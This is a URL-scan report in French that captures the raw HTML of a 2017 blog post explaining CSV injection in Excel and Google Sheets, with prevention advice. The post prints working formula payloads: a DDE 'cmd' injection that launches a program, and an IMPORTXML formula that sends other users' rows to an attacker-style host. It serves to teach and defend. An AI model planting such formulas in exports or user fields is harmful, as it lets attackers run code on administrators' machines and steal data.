- ID de l'analyse :
- 91e57b8f-9c84-428d-b6ea-d3dc891cead8Terminée
- URL soumise :
- https://georgemauer.net/2017/10/07/csv-injection.html
- Fin du rapport :
Liens : 12 trouvé(s)
Liens sortants identifiés à partir de la page
Lien | texte |
---|---|
https://github.com/togakangaroo | github |
https://github.com/togakangaroo/daily-programmer | literate coding fun |
https://www.contextis.com/blog/comma-separated-vulnerabilities | this article from 2014 by an actual security pro which discusses some of these vectors |
http://blog.7elements.co.uk/2013/01/cell-injection.html | And another one |
https://tools.ietf.org/html/rfc4180 | RFC |
https://www.owasp.org/index.php/CSV_Excel_Macro_Injection | known vulnerability |
https://support.google.com/docs/answer/3093342?hl=en | IMPORTXML |
https://www.requestbin.com/ | Try it yourself with a Requestbin |
https://support.google.com/docs/answer/3093340 | other spreadsheets |
https://www.thedailybeast.com/this-is-how-cops-trick-dark-web-drug-dealers-into-unmasking-themselves | has already been exploited by police to track criminals |
Variables JavaScript : 16 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
Nom | Type |
---|---|
0 | object |
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
gtag | function |
dataLayer | object |
disqus_shortname | string |
hljs | object |
google_tag_manager | object |
google_tag_data | object |
Messages de journal de console : 0 trouvé(s)
Messages consignés dans la console web
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta content="en-au" http-equiv="Content-Language">
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<link href="/rss.xml" type="application/rss+xml" rel="alternate" title="Oh, thoughts, you know">
<link href="/atom.xml" type="application/atom+xml" rel="alternate" title="Oh, thoughts, you know">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>The Absurdly Underestimated Dangers of CSV Injection</title>
<link rel="stylesheet" type="text/css" href="/css/style.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/8.1/styles/default.min.css">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<link rel="shortcut icon" href="/img/favicon.ico">
<script type="text/javascript" async="" src="https://www.google-analytics.com/analytics.js"></script><script type="text/javascript" async="" src="https://www.googletagmanager.com/gtag/js?id=G-GWD4WKD2FV&l=dataLayer&cx=c&gtm=457e4bk0za200"></script><script async="" src="https://www.googletagmanager.com/gtag/js?id=UA-107961786-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-107961786-1');
</script>
<script type="text/javascript" async="" src="http://togakangaroo.disqus.com/embed.js" data-timestamp="1732994044032"></script></head>
<body>
<div id="container">
<div id="side">
<a class="logo" href="/" id="home" title="home" alt="home"><img src="/img/logo.png" alt="Thanks Joe Hall groundh0g for the logo!"></a>
<div id="hometext"><a href="/">George Mauer's Blog</a></div>
<div class="section">
<ul>
<li><a href="/about.html">about & talks</a></li>
<li><a href="/cv.html">cv</a></li>
<li><a href="/projects.html">projects</a></li>
<li><a href="https://github.com/togakangaroo">github</a></li>
<li><a href="https://github.com/togakangaroo/daily-programmer">literate coding fun</a></li>
<li><a href="/rss.xml"><img src="/img/25.png"> feed</a></li>
</ul>
</div>
</div>
<div id="content">
<article class="entry-container">
<div class="entry">
<h1> The Absurdly Underestimated Dangers of CSV Injection </h1>
<span class="postdate"> 7 October, 2017
</span>
<div class="entry-content">
<style>
@media screen and (max-width: 480px) {
#csv-injection-google-note {
width: 10em !important;
}
h1 {
word-wrap: break-word;
}
}
</style>
<p>I’ve been doing the local usergroup circuit with this lately and have been asked to write it up.</p>
<p>In some ways this is old news, but in other ways…well, I think few realize how absolutely devastating and omnipresent this vulnerability can be. It is an attack vector available in every application I’ve ever seen that takes user input and allows administrators to bulk export to CSV.</p>
<p>That is just about every application.</p>
<p><strong>Edit:</strong> Credit where due, I’ve been pointed to <a href="https://www.contextis.com/blog/comma-separated-vulnerabilities">this article from 2014 by an actual security pro which discusses some of these vectors</a>. <a href="http://blog.7elements.co.uk/2013/01/cell-injection.html">And another one</a>.</p>
<!--break-->
<p>So let’s set the scene - imagine a time or ticket tracking app. Users enter their time (or tickets) but cannot view those of other users. A site administrator then comes along and exports entries to a csv file, opening it up in a spreadsheet application. Pretty standard stuff.</p>
<h1 id="attack-vector-1">Attack Vector 1</h1>
<p>So we all know csv files. Their defining characteristic is that they are simple. These exports might look like this</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code class=" hljs coffeescript">UserId,BillToDate,ProjectName,Description,DurationMinutes
<span class="hljs-number">1</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Test Project,Flipped the jibbet,<span class="hljs-number">60</span>
<span class="hljs-number">2</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Important Client,<span class="hljs-string">"Bop, dop, and giglip"</span>, <span class="hljs-number">240</span>
</code></pre></div></div>
<p>Simple enough. Nothing dangerous there. Heck the <a href="https://tools.ietf.org/html/rfc4180">RFC</a> even states:</p>
<blockquote>
<p>CSV files contain passive text data that should not pose any risks.</p>
</blockquote>
<p>So even by specification, it should all be fine.</p>
<p>Hey, just for fun let’s try something, let’s modify our CSV file to the following</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code class=" hljs coffeescript">UserId,BillToDate,ProjectName,Description,DurationMinutes
<span class="hljs-number">1</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Test Project,Flipped the jibbet,<span class="hljs-number">60</span>
<span class="hljs-number">2</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Important Client,<span class="hljs-string">"Bop, dop, and giglip"</span>, <span class="hljs-number">240</span>
<span class="hljs-number">2</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Important Client,<span class="hljs-string">"=2+5"</span>, <span class="hljs-number">240</span>
</code></pre></div></div>
<figure>
<div style="display: flex; justify-content: space-between;">
<img src="/img/csv-injection/excel-formula.png" alt="Formulas evaluate in Excel" style="max-width: 48% !important; max-height: 157px;">
<img src="/img/csv-injection/gsheets-formula.png" alt="Formulas evaluate in Google Sheets" style="max-width: 48% !important; max-height: 157px;">
</div>
<figcaption style="text-align: center">In Excel (left) and imported into Google Sheets (right)</figcaption>
</figure>
<p>Huh…well that’s odd. Even though that cell was quoted it seems to have been interpreted as a formula just because the first character was an <code class="language-plaintext highlighter-rouge">=</code> symbol. In fact - in Excel at least - any of the symbols <code class="language-plaintext highlighter-rouge">=</code>, <code class="language-plaintext highlighter-rouge">-</code>, <code class="language-plaintext highlighter-rouge">+</code>, or <code class="language-plaintext highlighter-rouge">@</code> will trigger this behavior causing lots of fun times for adminstrators whose data just doesn’t seem to format correctly (this is actually what brought my attention first to the issue). That’s strange, but not downright <strong>dangerous</strong>, right?</p>
<p>Well hold on, a formula <em>is</em> code that executes. So a user can cause code - even if its only formula code - to execute on an administrator’s machine in <em>their user’s</em> security context.</p>
<p>What if we change our csv file to this then? (Note the Description column on the last line)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code class=" hljs coffeescript">UserId,BillToDate,ProjectName,Description,DurationMinutes
<span class="hljs-number">1</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Test Project,Flipped the jibbet,<span class="hljs-number">60</span>
<span class="hljs-number">2</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Important Client,<span class="hljs-string">"Bop, dop, and giglip"</span>, <span class="hljs-number">240</span>
<span class="hljs-number">2</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Important Client,<span class="hljs-string">"=2+5+cmd|' /C calc'!A0"</span>, <span class="hljs-number">240</span>
</code></pre></div></div>
<p>What’s going to happen when we open up in Excel?</p>
<figure style="float: left; width: 200px;">
<img src="/img/csv-injection/calc.png" alt="calc will open!">
<figcaption>Holy Crap!</figcaption>
</figure>
<p>Yup, that’s right, the system calculator opens right on up.</p>
<p>Now to be fair, there <em>is absolutely a warning</em>. It’s just that the warning is a big block of text, which nobody is going to read. And even if they do, it explicitly recommends:</p>
<blockquote>
<p>Only click yes if you trust the source of this workbook</p>
</blockquote>
<p>And you know what? This an export from an application that <em>they</em> are the administrator of. Of course they trust the source!</p>
<p>Are they a technically savvy user? Then it is even worse. They <em>know</em> the CSV format is just text data, there can’t possibly be anything harmful in there. Guaranteed.</p>
<p>And just like that, the attacker has free reign to download a keylogger, install things, and overall remotely execute code not merely on any other person’s computer, but on that of someone guaranteed to have access to all user’s data; for example a manager or a company adminstrator. I wonder what other sort of files they might have lying around?</p>
<div style="clear: both"></div>
<h1 id="attack-vector-2">Attack Vector 2</h1>
<p>Ok, the above is cute and all, but it is after all a (little) <a href="https://www.owasp.org/index.php/CSV_Excel_Macro_Injection">known vulnerability</a>. As a security professional, you might make sure to warn all your administrators to be extra careful with Excel and maybe even consider using Google Sheets instead. After all, Sheets can’t be affected by macros, can it?</p>
<p>That is indeed correct. So let’s pull back on our “run anything we want” ambitions and instead focus on merely stealing data. After all, the premise here is that the attacker is an ordinary user who can access only what they themselves input in the system. An Admin has elevated rights and can see everyone’s data, can we compromise this somehow?</p>
<p>Well recall that while we cannot run macros in Google Sheets, we <em>can</em> absolutely run formulas. And formulas don’t have to be limited to simple arithmetic. In fact, are there any Google Sheets commands available in formulas that can send data elsewhere? Why yes, there seem to be quite a few. But lets take a look at <a href="https://support.google.com/docs/answer/3093342?hl=en"><code class="language-plaintext highlighter-rouge">IMPORTXML</code></a> in particular.</p>
<blockquote>
<p>IMPORTXML(url, xpath_query)</p>
</blockquote>
<p>This will, when it runs, preform an HTTP GET request to the url, then attempt to parse and insert returned data in our spreadsheet. Starting to see it yet?</p>
<p>Well what if our csv file contains:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code class=" hljs coffeescript">UserId,BillToDate,ProjectName,Description,DurationMinutes
<span class="hljs-number">1</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Test Project,Flipped the jibbet,<span class="hljs-number">60</span>
<span class="hljs-number">2</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Important Client,<span class="hljs-string">"Bop, dop, and giglip"</span>, <span class="hljs-number">240</span>
<span class="hljs-number">2</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Important Client,<span class="hljs-string">"=IMPORTXML(CONCAT("</span><span class="hljs-string">"http://some-server-with-log.evil?v="</span><span class="hljs-string">", CONCATENATE(A2:E2)), "</span><span class="hljs-string">"//a"</span><span class="hljs-string">")"</span>,<span class="hljs-number">240</span>
</code></pre></div></div>
<p>The attacker starts the cell with their trusty <code class="language-plaintext highlighter-rouge">=</code> symbol prefix and then points <code class="language-plaintext highlighter-rouge">IMPORTXML</code> to a server they control, appending as a querystring of spreadsheet data. Now they can open up their server log and <strong>bam</strong>! Data that isn’t theirs. <a href="https://www.requestbin.com/">Try it yourself with a Requestbin</a>.</p>
<p>The ultra sinister thing here? No warnings, no popups, no reason to think that anything is amiss. The attacker just enters a similarly formatted time/issue/whatever entry, eventually an administrator attempts to view a CSV export and all that limited-access data is immediately, and queitly sent away.</p>
<p>But wait, <strong>there’s more</strong>.</p>
<p>This formula is running in the administrator’s browser under <em>their</em> user account and security context. And this is Google Sheets - Sheets are not limited to just their own data, in fact they can pull in data from <a href="https://support.google.com/docs/answer/3093340"><em>other</em> spreadsheets</a> that the user has access to. All that an attacker has to know is the other sheet’s id. That information isn’t usually considered secret; it appears in the spreadsheet urls, and will often be accidentally emailed, or posted in intra-company documentation, relying on Google’s security to ensure only authorized users access that data.</p>
<p>So hey, it’s not <em>just</em> your issue/time sheet/whatever data that’s getting exfiltrated. Keep client lists or wage info in a separate spreadsheet that your admin has access to? That info might be getting sucked up as well! All silently, and without anyone knowing anything about it. Yikes!</p>
<p>Of course a similar trick works perfectly well in Excel. In fact, the ability for Excel to act as a beacon in this manner <a href="https://www.thedailybeast.com/this-is-how-cops-trick-dark-web-drug-dealers-into-unmasking-themselves">has already been exploited by police to track criminals</a>.</p>
<p>But it doesn’t have to be.</p>
<p>I’ve shown this to various security researchers who’ve pointed out all sorts of nasty uses. For example a criminal who plants messages in their own communications that would beacon a server that they control. That way, if a reseracher working on a secret warrant is to view their communication in a spreadsheet, a beacon goes out and the criminal has a canary effectively tipping them off that someone is snooping.</p>
<p>Not ideal.</p>
<h1 id="prevention">Prevention</h1>
<p>So who’s fault is all of this anyways?</p>
<p>Well it’s not the CSV format’s. The format itself couldn’t be more clear that automatically executing anything that “looks like a formula” is not an intended usage. The bug therefore lies in popular Spreadsheet programs for doing the exact wrong thing. Of course Google Sheets must maintain feature parity with Excel, and Excel must support millions of complex spreadsheets already in existance. Also - I’m not going to research this but - even odds that Excel behavior came from something ancient like Lotus 1-2-3. Getting all spreadsheet programs to change this behavior at this point is a pretty big mountain to conquer. I suppose that it’s everyone else that must change.</p>
<aside style="float: right; width: 20em; padding: 1em;" id="csv-injection-google-note">
<p>
I did report this to Google as a vulnerability in their Sheets product. They agreed to it, but claimed to already be aware. While I'm sure they understand it is a vulnerability, I got the distinct impression that they had not really pondered how badly this could be abused in practice. Google Sheets should at least issue a warning when a CSV import is about to preform an external request.
</p>
</aside>
<p>But putting it on application developers is not really practical either. After all, There is no reason for your average developer creating an export feature in a simple busineess application to so much as suspect the issue. In fact, they can read the darn RFC and <em>still</em> not have any clue.</p>
<p>And how do you prevent this anyways?</p>
<p>Well, despite plentiful advice on StackOverflow and elsewhere, I’ve found only one (undocumented) thing that works with any sort of reliability:</p>
<p>For any cell that begins with one of the formula triggering characters <code class="language-plaintext highlighter-rouge">=</code>, <code class="language-plaintext highlighter-rouge">-</code>, <code class="language-plaintext highlighter-rouge">+</code>, or <code class="language-plaintext highlighter-rouge">@</code>, you should directly prefix it with a tab character. Note that if there are quotes, this character goes <em>inside of the quotes</em>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code class=" hljs coffeescript">UserId,BillToDate,ProjectName,Description,DurationMinutes
<span class="hljs-number">1</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Test Project,Flipped the jibbet,<span class="hljs-number">60</span>
<span class="hljs-number">2</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Important Client,<span class="hljs-string">"Bop, dop, and giglip"</span>, <span class="hljs-number">240</span>
<span class="hljs-number">2</span>,<span class="hljs-number">2017</span>-<span class="hljs-number">07</span>-<span class="hljs-number">25</span>,Important Client,<span class="hljs-string">" =2+5"</span>, <span class="hljs-number">240</span>
</code></pre></div></div>
<p>It’s bizarre, but it works, and the tab character doesn’t show up visually on Excel, or Google Sheets. So do that I guess?</p>
<p>Unfortunately that’s not the end of the story. The character might not show up, but it is still there. A quick string length check with <code class="language-plaintext highlighter-rouge">=LEN(D4)</code> will confirm that. Therefore, it is only an acceptable solution so long as that cell value is only viewed visually and not then read out of the file later by a program. Further, inserting this character will lead to odd inconsistencies. The csv format is used for interchange <strong>between applications</strong>. Meaning that an escaped cell exported from one application will import into another with the excape character as a part of the data.</p>
<p>The nasty end result is that when generating the csv export you <strong>must know how the export is to be used</strong>.</p>
<ul>
<li>If it is to be used in a spreadsheet application by a user to calculate things visually, you should escape things with a tab. This is actually even more important since you wouldn’t want the string “-2+3” in a programming language appearing as <code class="language-plaintext highlighter-rouge">1</code> when exported to a spreadsheet.</li>
<li>If it is to be used as an interchange format then do not escape anything.</li>
<li>If you do not know or if it is to be used in a spreadsheet application or then later that spreadsheet will be used as an import source for software, give up, swear off the world, get yourself a cabin with the woods and maybe try being friends with squirrels for a while. (Alternately, use Excel but <em>always</em> disconnect from the network and follow all security prompts while doing any work) (Edit: That probably won’t work 100% either since someone can still use a macro to overwrite well known files with their own binary. Shit.).</li>
</ul>
<p>It’s a nightmare of a scenario, it’s sinister, damaging, and with no clear solution. Its also something that should be far far better known than it currently is.</p>
<div style="clear: both"></div>
</div>
</div>
</article>
<div class="actions share">
<script src="//www.redditstatic.com/button/button2.js"></script><iframe src="//www.redditstatic.com/button/button2.html?url=https%3A%2F%2Fgeorgemauer.net%2F2017%2F10%2F07%2Fcsv-injection.html" height="69" width="51" scrolling="no" frameborder="0"></iframe>
</div>
<div id="page-navigation">
<div class="left"> <a href="/2017/08/03/on-this-in-javascript.html" title="Previous Post: On `this` in Javascript">← On `this` in Javascript</a> </div>
<div class="right"> <a href="/2017/11/03/take-home-interviewing-tests.html" title="Next Post: Take Home Programming Interviews Suck">Take Home Programming Interviews Suck → </a> </div>
<div class="clear"> </div>
</div>
<div id="disqus_thread"></div>
<script type="text/javascript">
/* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */
var disqus_shortname = 'togakangaroo'; // required: replace example with your forum shortname
/* * * DON'T EDIT BELOW THIS LINE * * */
(function() {
var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
dsq.src = 'http://' + disqus_shortname + '.disqus.com/embed.js';
dsq.setAttribute('data-timestamp', +new Date());
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
</script>
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
<a href="http://disqus.com" class="dsq-brlink">blog comments powered by <span class="logo-disqus">Disqus</span></a>
</div>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/8.1/highlight.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
</div>
</body></html>